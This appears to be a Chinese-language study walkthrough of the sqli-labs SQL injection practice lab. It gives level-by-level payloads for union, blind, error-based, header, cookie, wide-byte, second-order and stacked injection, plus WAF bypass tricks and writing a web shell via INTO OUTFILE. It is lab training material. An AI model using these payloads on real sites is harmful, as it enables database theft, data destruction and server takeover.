SQL注入的本质是用户输入的数据被当作代码执行
mysql语法:
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段: select username, password from security.users
Less-1/?id=1'
查看是否有注入
Less-1/?id=1' order by 3 --+
查看有多少列
先使用Less-1/?id=1' order by 3 --+
再使用Less-1/?id=1' order by 4 --+
Less-1/?id=-1' union select 1,2,3 --+
Less-1/?id=-1' union select 1,2 database() --+
查看当前数据库
Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看所有的数据库
Less-1/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看所有的表
Less-1/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
查看列信息
Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users --+
Less-2/?id=1'
Less-2/?id=1 --+
Less-3/?id=1'
Less-4/?id=1'
1.left()
函数:left(database(),1)='s'
left(a,b)
从左侧截取a的前b位,正确则返回1,错误则返回0
2.regexp
函数:select user() regexp 'r'
user()
的结果是 root ,regexp为匹配 root 的正则表达式
3.like
函数:select user() like 'ro%'
匹配与regexp相似
4.substr(a,b,c)
select substr() XXX
substr(a,b,c)
从位置b开始,截取a字符串c位长度
5.ascii()
将某个字符串转化为 ascii 值
6.chr('数字')
或者是ord('字母')
使用python中的两个函数可以判断当前的ascii值是多少
对于 security 数据库:
select left(database(),1)='s';
前1位是否是s
select database() regexp 's';
匹配第一个字符是否是 s
select database() like 's%';
匹配第一个字符是否是 s
select substr((select database()),1.1)='s';
匹配第一个字符是否是 s
select substr((select database()),1,3)='sec;'
匹配前三个字符是否是 sec
select ascii(substr((select database()),1,1));
直接回显 115 或者是
select ascii(substr((select database()),1,1))>110
;
如果大于 110,就会返回1,否则返回 0
Less-5/?id=1'
查看是否有注入
存在单引号
查看有多少列
Less-5/?id=1' order by 4 --+
所有存在3列
Less-5/?id=1' and left((select database()),1)='s' --+
判断第一位是否是s,然后使用burp进行爆破处理:
之后判断第二位left((select database()),2)='sa'
特别麻烦,所以使用burp工具进行爆破处理。
右键,选择点击 Send to Intruder
先删除变量
添加变量(选中变量,并添加)
添加线程
找与众不同的
得到第一位确实是字符s
完整注入流程(手动注入)
1.Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100 --+
通过二分法猜解得到所有的库,其中 limit 1,1
的第一个1和式子中最后一个1为可变参数。
2.Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_name = 'security' limit 1,1),1,1))>1 --+
再次通过二分法可猜解得到 security 下的所有表。其中可变参数同上
3.Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),1,1))>1 --+
通过二分法可猜解 users 内的字段。其中可变参数同上
4.Less-5/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>1 --+
继续猜解即可得到字段内的值。
和less-5一样是布尔盲注。
Less-6/?id=1"
1.show variables like '%secure%';
查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开phpstudy\PHPTutorial\MySQL\my.ini
文件,在其中加上一句:secure_file_priv="/"
2.一句话木马:php版本:
其中 crow 是密码
3.into outfile
写文件
用法:select 'mysql is very good' into outfile 'test1.txt';
文件位置:D:\phpstudy\PHPTutorial\MySQL\data
或者是select 'crow 666' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\test.txt';
文件位置:D:\phpStudy\PHPTutorial\WWW\sqli-labs\Less-7
注意事项:\\
同样是布尔盲注
Less-7/?id=1')) --+
Less-7/?id=-1')) union select 1,2,'' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\test.php' --+
将一句话木马写入Less-7下的文件中
然后使用蚁剑链接
进行链接
拿到shell
也是布尔盲注
Less-8/?id=1'
判断此时存在注入漏洞
Less-8/?id=1' order by 3 --+
当3改为4的时候,you are in … 消失,说明存在3列
Less-8/?id=1' and left((select database()),1)='s' --+
猜出来当前第一位是s
或者是使用:
Less-8/?id=1' and ascii(substr((select database()),1,1))>16 --+
此时是有回显的
Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>17 --+
先通过大于号或者小于号来判断数据库的第一个字母是哪一个,也可以使用
Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115 --+
此时可以验证数据库中第五个数据库的第一个字母是s
Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 3,1)1,1))>11 -++
判断security
是数据库中的第4个表中的数据的第一位是否大于11
Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1)1,1))>10 --+
同理,进行判断表中的字段,然后进行判断。可以得到 username,password
Less-8/?id=1' and ascii(substr((select username from security.users limit 0,1),1,1)) --+
同理进行判断,最后再使用password进行判断。
因为猜解速度较慢,可以配合 burp或者sqlmap的脚本来使用。
if(condition,A,B)
如果条件condition为true,则执行语句A,否则执行B
例如:select if(1>2,4,5);
返回的结果是5。(如果是在mysql命令行中使用,首先要use xxx是数据库才行)
采用时间盲注
Less-8/?id=1' and sleep(5) --+
使用延迟的方法判断是否存在注入漏洞。当然判断是否存在注入漏洞的方法很多。
Less-8/?id=1' and if(length(database())=8,1,sleep(5)) --+
当为8的时候很快加载,而为其他值的时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)
Less-8/?id=1' and if(ascii(substr((selectdatabase()),1,1))>113,1,sleep(5)) --+
如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。
Less-8/?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5)) --+
同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果
其余步骤与法一基本类似,可以采用burp或者是sql盲注脚本使用
Less-9/?id=1'
查看是否存在注入漏洞
Less/?id=1' order by 39999 -++
当使用 order by 的时候,此时无论如何都是回显 you are in … 所有无法使用 order by
进行判断
Less-9/?id=1' and sleep(5) --+
当存在注入漏洞时,可以使用迟延注入进行判断,此时若存在漏洞,则睡眠5s之后再返回结果
Less-9/?id=1' and if(length(database())=8,1,sleep(5));
通过返回时间进行判断,此时如果数据长度为8,则可以较快返回。
Less-9/?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1)1,1))>112,1,sleep(5)) --+
使用less-8中同样的方法进行判断即可!
因为盲注属于猜解,推荐使用脚本进行操作
Less-10/?id=1"
以下均为POST内容
POST内容:uname='&passwd=18
返回的结果显示存在 sql 语法错误,证明存在注入漏洞。或者是直接在username中填写'
,password中随便写判断一下是否存在注入漏洞。
直接在username中填写admin' or 1=1#
(此处不能使用--+
,因为--+
主要使用在url
中,#
是适用的)即:
uname=a' or 1=1# &passwd=a
此时登录成功,可以验证存在注入漏洞。
此时在 password 位置进行验证:
uname=a & passwd=a' or 1=1#
登录成功,开始构造
uname=a' order by 2 # & passwd=a
或者uname=a & passwd=a' order by 2 #
当使用uname=a' order by 3 # & passwd=a
,发生报错
因此得出一共有两列。
uname=a' union select 1,2 # & passwd=a
查看哪些数据可以回显
uname=a' union select 1,database() # & passwd=a
查询当前数据库
当前数据库为security
uname=a' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=a
查询所有数据库名
uname=a' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' # & passwd=a
uname=a' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # & passwd=a
查询users表中所有的字段名(列名)
uname=a' union select 1,group_concat(concat_ws('~',username,password)) from security.users # & passwd=a
查询 users 表中的 username、password 中的数据
首先进行尝试:uname=admin' & passwd=a
此时只是显示登录失败,没有其他的回显,将'
换为"
uname=admin" & passwd=a
此时有回显,显示有报错信息,通过报错信息,我们知道如何构造:")
uname=a") or 1=1 #& passwd=a
和Less-11类似,Less-11是' '
包裹,Less-12是(" ")
包裹
uname=a') or 1=1 # & passwd=a
没有回显,只能显示登录成功,登录失败
所以是布尔盲注类型
uname=a') or if(ascii(substr((select database()),1,1))>150,1,sleep(5)) # & passwd=a
查询使用的数据库名
使用二分法,进行测试
可以使用burp进行爆破
uname=a') or if(ascii(substr((select table_name from information_schema.tables where table_schema='schema_name' limit 1,1),1,1))>96,1,sleep(5)) # & passwd=a
查询数据库中的表名
if(ascii(substr((select column_name from information_schema.columns where table_name='table_name' limit 1,1),1,1))>96,1,sleep(5))
查询表中的列名
同样,Less-14和Less-13类似,都是布尔盲注
步骤相似
uname=a" or 1=1 # & passwd=a
可以判断出Less-14是" "
双引号包裹
同样Less-15也是布尔盲注
uname=a' or 1=1 # & passwd=a
是由' '
单引号包裹着
同样Less-16也是布尔盲注
uname=a") or 1=1 # & passwd=a
是由(" ")
单引号包裹着
UPDATEXML(XML document,XPath string,new value);
第一个参数:XML document
是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath string
(Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程
第三个参数:new value
,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML document
中符合XPATH string
的值
而我们注入语句为:
select updatexml(1,concat('~',(select username from security .users limit 0,1),'~'),1);
其中的concat()
函数是将其连接成一个字符串,因此不会符合XPATH string
的格式,从而出现格式错误,报出
ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'
格式:
and updatexml(1,concat('~',(构造语句),'~'),)
报错注入
uname
和passwd
分开验证,而且在验证的时候对uname进行了过滤处理,将'
进行了转义。
uname=admin' # & passwd=admin
而没有对passwd进行过滤
首先我们要知道用户名的名字是多少,然后才可以进行接下来的操作。
uname=admin & passwd=adm' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),1) #
通过查询,可以得到security
库下面的其中一个表名字
uname=admin & passwd=adm' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),1) #
通过查询,可以得到users
表里面的列名
User Agent注入
安装一个插件:ModHeader
uname=admin & passwd=admin
输入正确的用户名和密码,得到User Agent信息
输入错误的信息则没有
并且会对其进行过滤。
2.登录成功显示ip
地址和User-Agent
3.$insert="insert into 'security'.'uagents'('uagent','ip_address','username') values('$uagent','$ip',$uname)";
4.经分析,需要进行闭合操作,两种方法
'or updatexml(1,concat('~',(database())),1) and '1'='1
or updatexml(1,concat('~',(database())),1),",")#
'or updatexml(1,concat('~',(database())),1) and '1'='1
查询当前数据库
'or updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 0,1)),1) and '1'='1
查询数据库名
'or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) and '1'='1
查询 security 数据库中的表
'or updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) and '1'='1
查询 users 表中的列名
'or updatexml(1,concat('~',(select username from security.users limit 0,1)),1) and '1'='1
查询 users 表中 username 列的数据
Referer注入
1.登录成功显示的是Referer信息
2.登录失败是没有回显信息的
3.$insert ="insert into 'security'.'refers'('referer','ip_address') values('$uagent','$ip') ";
经分析后得知,需要进行闭合操作,两种方法:
'or updatexml(1,concat('~',(database())),1) and '1'=1
'or updatexml(1,concat('~',(database())),1),")#
步骤和Less-18类似
登录失败会显示失败信息
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
在登录之后后台会将username
放入cookie
中,再次登录的时候,只要cookie
没有过期,就会去cookie
里面取值,然后进行查询。
使用Cookie Editor
' union select 1,2,database() #
查询当前数据库名
' union select 1,2,group_concat(schema_name) from information_schema.schemata #
查询数据库名
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #
查询数据库security中的表名
登录成功,得到cookie信息
使用在线加密解密工具进行解密
-1') union select 1,2,database() #
得到注入点,并进行base64进行加密
和Less-20类似,Less-20是' '
单引号包裹
Less-21是(' ')
包裹,且cookie
进行了base64加密
步骤类似
和Less-21基本相同,唯一区别是:Less-21是(' ')
包裹,而Less-22是" "
双引号包裹
Less-23/?id=1
显示的有信息
显示错误信息
使用Less-23/?id=1' --+
和Less-23/?id=1'#
都不行
查看源代码才发现使用了preg_replace函数
preg_replace(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null
搜索 subject
中匹配 pattern
的部分,以 replacement
进行替换。
limit
每个模式在每个 subject
上进行替换的最大次数。默认是 -1
(无限)。
count
如果指定,将会被填充为完成的替换次数。
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
将$id
中的--+
,#
替换成空格,过滤掉。
可以使用另外一种特殊的注释符,;%00
通过这个注释符绕过
id=1' order by 3 ;%00
判断列数为3
id=-1' union select 1,2,3 ;%00
查看哪些数据可以回显
id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata ;%00
查看所有数据库名
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' ;%00
查看security数据库中所有的表名
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' ;%00
查看users表中所有的字段名 (列名)
id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users ;%00
查看users表中username,password字段的数据
在url中构造:id=1' order by 10 or '1'='1
已知这种构造是错误的,但是如何使用order by
语句进行报错呢?
select * from users where id=1 and 1=1 order by 10;
在sql语句中,我们可以使用这种语法,原因是因为id=1 and 1=1
作为where的条件,被执行之后得到结果,然后执行order by
,因为结果中没有第10个字段所以报错了。在第二个查询语句中,order by
在where的条件中,在where执行时被忽略了,得到结果之后并未再执行order by
。
对于Less-23,id=1' or '1'='1 order by 10
对应的sql语句:select * from users where id='1' or '1'='1 order by 10' limit 0,1
我们知道
永远都不可能有报错的情况,所以对此,Less-23中建议使用union select
进行
id=-1' union select 1,2,3,4 and '1' ='1
使用这样的,或者使用 or,这是因为这里的 and 或 or 作为了联合查询第二个语句的条件而不是第一个语句 where 的条件。
id=1' and '1'='1
使用 and 或者是 or 都可以
id=1' union select 1,2,3'
使用union select
进行闭合,其中要在3的位置进行闭合操作,但是在页面上没有显示1,2,3
id=-1' union select 1,2,3'
此时我们将前面的值进行报错,使得前面的值无法被查询到(也可以在id=1
的位置上使用一个较大的数字都是可以的)。此时1我们看到2,3
位置有回显,可以选择使用2,3
位置继续进行注入
(使用-1或者是任意一个超出数据库中的数据均可)
使用报错注入
id=1' and updatexml(1,concat('~',database()),1) or '1'='1
报错出正在使用的数据库
id=1' and updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 2,1)),1) or '1'='1
查询所有的数据库,使用limit
进行逐个查询。
本题是二次注入,可以参考
https://www.jianshu.com/p/3fe7904683ac
https://www.cnblogs.com/cute-puli/p/11145758.html
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入,可以包括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验处理。
例如:输入参数id=1'
-> 传输转义 id=1\'
-> 此时转义之后无法注入 -> 存入数据库为1'
-> 再次取出直接闭合
并登录
修改密码为147258
然后,退出并重新登录
用户名为admin
,密码是147258
SQL语句:
update users set password='$pass' where username='$username' and password='$curr_pass'
update users set password='123456' where username='admin'#' and password='$curr_pass'
update users set password='123456' where username='admin'
Waf绕过可大致分为三类:1.白盒绕过 2.黑盒绕过 3.fuzz测试
通过源代码分析,来进行绕过,例:Less-25(代码审计)
(1)架构层面绕过waf
1.寻找源网站绕过waf
主要针对的是云waf,找到源网站的真实地址,进行绕过,有点像CDN
2.通过同网段绕过waf防护
在一个网段中,可能经过的数据不会经过云waf,从而实现绕过。
(2)资源限制角度绕过waf
一般waf的执行需要优先考虑业务优先的原则,所以对于构造较大、超大数据包 可能不会进行检测,从而实现绕过waf
举例:get、post传参
(3)协议层面绕过waf
1.协议未覆盖绕过waf
比如由于业务需要,只对get型进行检测,post数据选择忽略
2.参数污染
index?id=1 & id=2
waf可能只对id=1
进行检测
(4)规则层面的绕过waf
1.sql注释符绕过
(1)union/**/select
我们将union select
之间的空格使用注释符进行替换(适用于对union select
之间的空格进行检测的情况)
(2)union/*abcd%0%32#*/select
在注释符中间填充内容
(3)union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbccccccccddddddddddddddeeeeeeeeeeeee%%%%%%%%%%%%%%%%%%%%*/select
(4)/*!union select*/
内联注释 mysql特有
以上均采用select 1;
进行测试成功
2.空白符绕过
(1) mysql空白符:%09;
%0A;
%0B;
%0D;
%20;
%0C;
%A0;
/*XXX*/
(2)正则空白符:%09;
%0A;
%0B;
%0D;
%20;
%25
其实就是百分号 %25A0
就是空白符
3.函数分割符号
将一个函数进行分割concat()
%25
其实就是百分号 %25A0
就是空白符123
concat%2520()
concat/**/()
concat%250c()
concat%25a0()
4.浮点数词法解释
waf对于id=1
可以进行检测,但是对于id=1E0
、id=1.0
、id=\N
可能就无法检测
5.利用error-based
进行sql注入(报错注入)
extractvalue(1,concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md(3)),1);
GeometryCollecion((select * from (select * from (select@@ version)f)x))
polygon((select * from(select name const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
6.MySQL特殊语法
select {x schema_name} from {x information_schema.schemata};
select {x 1};
7.大小写绕过
如果对关键字 and or union
等进行了过滤,可以考虑使用大小写混合的方法
Or aNd UniOn
但是很多时候有函数会部分大小写进行过滤,这个时候我们可以考虑使用双写的方法
8.关键字重复
OORr
9.关键字替换
如果还是无法绕过,可以考虑替换的方法
and -> &&
or->
like
可以替换 =
<>
等价于!=
可以使用burpsuite配合手工进行测试,后期测试成功后再脚本进行处理
id=1'
查看是否存在注入
并且下面会显示注入的信息
id=1' order by 3 --+
查询列数的大小
提示注入的信息变为
id=1' ORder by 3 --+
变为大写也无法绕过
id=1' OORrder by 3 --+
使用关键字重复便可以绕过
id=-1' union select 1,2,3 --+
查看哪些数据可以回显
id=-1' union select 1,2,group_concat(schema_name) from infOORrmation_schema.schemata --+
查看所有数据库名
id=-1' union select 1,2,database() --+
查看当前使用的数据库名
id=-1' union select 1,2,group_concat(table_name) from infoORrmation_schema.tables where table_schema='security' --+
查看数据库security的所有表名
id=-1' union select 1,2,group_concat(column_name) from infoORrmation_schema.columns where table_name='users' --+
查看表users的所有列名(字段名)
id=-1' union select 1,2,group_concat(concat_ws('~',username,passwoORrd)) from security.users --+
查看表users中username,password的数据
id=1 --+
与Less-25 类似也是对or and
进行过滤,Less-25是单引号包裹,Less-25a没有进行包裹
查看源码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
对注释进行了过滤,可以使用;%00
绕过
过滤了空格,使用报错注入
id=1' || updatexml(1,concat('~',(database())),1) || '1'='1
查看当前使用的数据库
id=1' || updatexml(1,concat('~',(select (group_concat(concat_ws('~',username,passwoORrd))) from (security.users) where (id=1))),1) || '1'='1
得到第一组username,password的数据,通过修改where (id=2)
来获取第二组数据,以此类推。
绕开空格:
%09
TAB键(水平)
%0a
新建一行
%0c
新的一页
%0d
return功能
%0b
TAB键(垂直)
%a0
空格
在docker 搭建的环境中,可以使用%a0
进行绕过。
1.搜索sqli-labs:docker search sqli-labs
2.建立镜像:docker pull acgpiano/sqli-labs
3.查看存在的镜像:docker images
4.运行存在的镜像:docker run -dt --name ck_sqli-labs -del -p 666:80 --rm acgpiano/sqli-labs
参数解释:-dt
后台运行;--name
命名;-p 80:80
将后面的docker容器端口映射到前面的主机端口,--rm
选项,这样在容器退出时就能够自动清理容器内部的文件系统
5.进入运行中的docker容器:docker exec -it ID /bin/bash
参考链接:https://www.cnblogs.com/blogs-1024/p/11128999.html
docker ps
查看正在运行的容器
docker ps -a
查看所有容器
docker images
列出本地镜像
docker start CONTAINER
启动一个或多少已经被停止的容器
docker stop CONTAINER
停止一个运行中的容器
docker restart CONTAINER
重启容器
docker rm CONTAINER
删除容器
docker rmi IMAGE
删除镜像
restart docker
重启 docker
id=1
有数据
id=1'
此时报错,说明可能存在注入
id=1';%00
成功将单引号进行闭合掉,说明存在注入
id=1' %a0 order %a0 by %a0 3 ;%00
表格中的字段数据存在3列
id=1' %a0 union %a0 select %a0 1,2,3 ;%00
此时返回错误,查看一下源码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
union select
大小写形式都进行了过滤
使用关键字 重复 进行绕过
id=9999' %a0 uniUNIONon %a0 seleSELECTct %a0 select %a0 1,2,3 ;%00
之后的操作相同
id=9999' %a0 || %a0 updatexml(1,concat('~',(SelEct %a0 group_concat(schema_name) %a0 from %a0 information_schema.schemata)),1) %a0 || %a0 '1'= '1
查看所有数据库名
报错语句格式updatexml(1,concat('~',语句),1)
因为报错注入使用concat得到的信息不全
所以使用limit语句一个个输出
id=9999' %a0 || %a0 updatexml(1,concat('~',(SelEct %a0 schema_name %a0 from %a0 information_schema.schemata %a0 limit %a0 3,1)),1) %a0 || %a0 '1'= '1
该题是" "
双引号包裹
和Less-27相似
id=999" %a0 UniOn %a0 SeLEct %a0 1,2,3%a0 || %a0 "1"="1
id=999" %a0 UniOn %a0 SeLEct %a0 1,(SeLeCt %a0 group_concat(schema_name) %a0 from %a0 information_schema.schemata ),3 %a0 || %a0 "1"="1
查询所有数据库名
id=1" %26%26 if(length(database())>5,1,sleep(5)) %26%26 %a0 "1"="1
注意:在句子后面不能使用 or,因为使用 or 的情况下,无论如何情况返回都会是真
id=999" || if(length(database())>5,1,sleep(5)) %26%26 %a0 "1"="1
A or B and D
在MySQL中,先判断A or B,判断结果为C,然后再判断 C and D
id=1
有数据
id=1'
此时报错,说明可能存在注入
id=1' || '1'='1
成功将单引号闭合
id=1' %a0 union %a0 select %a0 1,2,3 ;%00
这时却出现了错误
原来不单单是' '
单引号包裹,应是(' ')
包裹
id=999') %a0 union %a0 select %a0 1,2,3 || %a0 ('1')=('1
这样才正确
id=999') union %a0 select 1,2,3 --+
和Less-28类似
宽字节: GB2312、GBK、GB18030、BlIG5、Shift JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。中文、韩文、日文等均存在宽字节,英文默认都是一个字节。
在使用PHP连接MySQL的时候,当设置set character set client = gbk
时会导致一个编码转换的问题。
例子:id=1'
处理1\'
进行编码1%5c%27
带入sql后id=\'and XXXX
此时无法完成注入
id=1%df
处理1%df\'
进行编码1%df%5c%27
带入sql后id=1进'and XXX
此时存在宽字节注入漏洞
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df'
被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\
,变成了 %df\'
,其中\
的十六进制是 %5C ,那么现在 %df\'=%df%5c%27
,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c
是一个宽字符,也就是縗
,也就是说:%df\' = %df%5c%27=縗'
,有了单引号就好注入了。
id=1
有数据
id=1'
发现单引号'
被过滤掉了
查看源码
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
id=1%df' --+
成功绕过
id=-1%df' union select 1,2,3 --+
查看哪些数据发生回显
法二:
%5c
代表的是\
此时构造:%5c %5c %5c %5c'
只要是我们能将返回的结果中对于单引号没有转义符进行处理即可
id=-1%aa%5c' union select 1,2,3 --+
Less-32使用的是自定义的过滤,Less-33使用的是php中的addslashes()
函数
作用:addalashes()
函数返回在预定义字符之前添加反斜杠的字符串
直接使用宽字节的方法
id=1%df' --+
自定义闭合
id=1%aa%5c%27 --+
其余步骤与Less-32类似
uname=admin&passwd=admin
输入正确的密码和账号,返回正确信息
uname=ad&passwd=ad
错误的密码和账号,返回登录失败
查看源码可知,使用了addslashes()
函数,理论上可以使用前几关中的宽字节注入的方法进行测试,但是测试的时候发现,方法并不奏效。(主要原因是因为我们不能够直接在POST中传入数据,因为会被再次编码)
在get型传参的时候使用URLencode
使用burp进行抓包修改
uname=ad%df' union select 1,2#&passwd=ad
查看哪些数据信息发生回显
id=1
输出正确信息
id=1'
报错
id=1%df' --+
还是报错
查看源码
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
函数解析
addslashes(string $str
): string
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号('
)、双引号("
)、反斜线(\
)与 NUL(null
字符)。
确实存在单引号' '
,双引号" "
反斜杠\
过滤
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
而sql语句中id没有被包裹
id=-1 union select 1,2,3 --+
查看哪些数据存在回显
采用延迟注入
id=1 and if( length(database())>5,1,sleep(5) ) --+
与Less-35类似,Less-36的id
被单引号' '
包裹
id=-1%df' union select 1,2,3 --+
查看哪些数据可以回显
查看源码
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
mysql_real_escape_string() 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00
, \n
, \r
, \
, \'
, \"
和 \x1a
sql语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注意:字符串进行十六进制转换,因为单引号全部会被转义
和Less-34类似,只是使用的过滤函数不同,Less-37用的是mysql_real_escape_string
函数
uname=ad%df' union select 1,2#&passwd=ad
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;
表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injectiono
可以在mysal命令行中进行测试:
select * from users; select 1,2,3;
id=-1' union select 1,2,3; --+
查看哪些数据发送回显
id=1'; create table ck like users; --+
id=1'; drop table ck; --+
id=-1 union select 1,2,3 --+
查看哪些数据发生回显
和Less-38类似,只是id
没有被包裹
id=1; create table ck like users; --+
id=1; drop table ck; --+
id=-1') union select 1,2,3 --+
查看哪些数据发生回显
id=1'); create table ck like users; --+
id=1'); drop table ck; --+
id=-1 union select 1,2,3 --+
查看哪些数据发生回显
与Less-39不同的是,Less-39有报错信息,而Less-41没有报错信息
id=1; create table ck like users; --+
id=1; drop table ck; --+
本题属于二次注入
查看源码
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
得到对username进行过滤,并没有对password进行过滤
对password进行注入
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
通过修改HTML,便可查看密码
login_user=a&login_password=s'; create table ck #
login_user=a&login_password=s'; drop table ck #
与Less-42类似,不同的区别在于
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
password被(' ')
包裹
login_user=a&login_password=s'); create table ck #
login_user=a&login_password=s'); drop table ck #
与Less-42类似。只是没有报错信息
login_user=a&login_password=s'; create table ck #
login_user=a&login_password=s'; drop table ck #
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
password被(' ')
包裹
login_user=a&login_password=s'); create table ck #
login_user=a&login_password=s'); drop table ck #
堆叠注入的危害
1.需要写权限
2.一句话木马
3.select xxx into outfile xxx
4.绝对路径 D:\phpStudy\PHPTutorial\WWW
构造:
select '' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\pass.php'
进行注入
s');select '' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\pass.php'; #
SQL语句中,asc是指定列按升序排列,desc则是指定列按降序排列
select * from users order by 1 desc;
使用降序进行排序
select * from users order by 1 asc;
使用升序进行排序
Right() select right(database(),1);
Left() select left(database(),1);
lines terminated by xxx
以 xxx 为结尾
sort=3
输出的表格内容不同,可以猜测sort值是列数,order by sort
sort=1 and 1=1
正确输出数据
说明存在注入点
采用报错注入
sort=1 and updatexml(1, concat(0x7e,(database())) ,1) --+
采用时间注入
sort=3 and if( ( length(database() )>15),1,sleep(5) ) --+
sort=1'
sort=1' and '1'='1
使用 and or
进行绕过
sort=1' and updatexml(1,concat( 0x7e,database() ),1) --+
使用的是报错注入
